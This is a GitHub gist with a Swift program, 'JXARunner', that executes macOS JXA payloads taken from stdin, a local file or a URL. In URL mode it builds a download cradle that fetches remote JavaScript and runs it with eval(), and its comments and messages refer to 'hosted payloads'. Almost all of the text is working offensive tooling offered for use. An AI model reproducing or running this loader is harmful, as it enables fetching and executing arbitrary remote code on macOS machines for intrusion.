Skip to content

Instantly share code, notes, and snippets.

@thesubtlety
Last active September 10, 2023 19:25
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save thesubtlety/e7a9871810b0e6449ef68c6fe5fa0fe1 to your computer and use it in GitHub Desktop.
Save thesubtlety/e7a9871810b0e6449ef68c6fe5fa0fe1 to your computer and use it in GitHub Desktop.
Run jxa from file http stdin
// adapted from cedowns jxa-runner
import Foundation
import Cocoa
import OSAKit
//Usage:
// for hosted .js JXA payloads: ./JXARunner -u [url_to_jxa_payload]
// for local .js JXA payloads: ./JXARunner -f [path_to_jxa_payload]
// echo 'jxacode' | ./runner -s
//
// swiftc jxarun.swift -o jxarun
let scriptName = CommandLine.arguments[0]
let fileMan = FileManager.default
func ex(data: String) {
let k = OSAScript.init(source: data, language: OSALanguage.init(forName: "JavaScript"))
var compileErr : NSDictionary?
k.compileAndReturnError(&compileErr)
var compileError : NSDictionary?
k.compileAndReturnError(&compileError)
if let compileError = compileError {
print(compileError)
}
var scriptError : NSDictionary?
let result = k.executeAndReturnError(&scriptError)
if let scriptError = scriptError {
print(scriptError)
}
else if let result = result?.stringValue {
print(result)
}
print("[+] Done")
}
if CommandLine.arguments[1] == "-s" {
let allLines = AnyIterator { readLine() }.map{ $0 }
let torun = allLines.joined(separator:"\n")
ex(data: torun)
}
if CommandLine.arguments[1] == "-u" {
let url = CommandLine.arguments[2]
let execCradle = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('\(url)')),$.NSUTF8StringEncoding)));"
ex(data: execCradle)
sleep(1)
print("[+] Executed payload hosted at \(url)")
}
if CommandLine.arguments[1] == "-f"{
var filePath = CommandLine.arguments[2]
if fileMan.fileExists(atPath: filePath){
filePath = CommandLine.arguments[2]
let data = try String(contentsOfFile: "\(filePath)")
ex(data: data)
sleep(1)
print("[+] Executed payload hosted at \(filePath)")
}
else {
print("[-] File \(filePath) not found. Exiting...")
exit(0)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment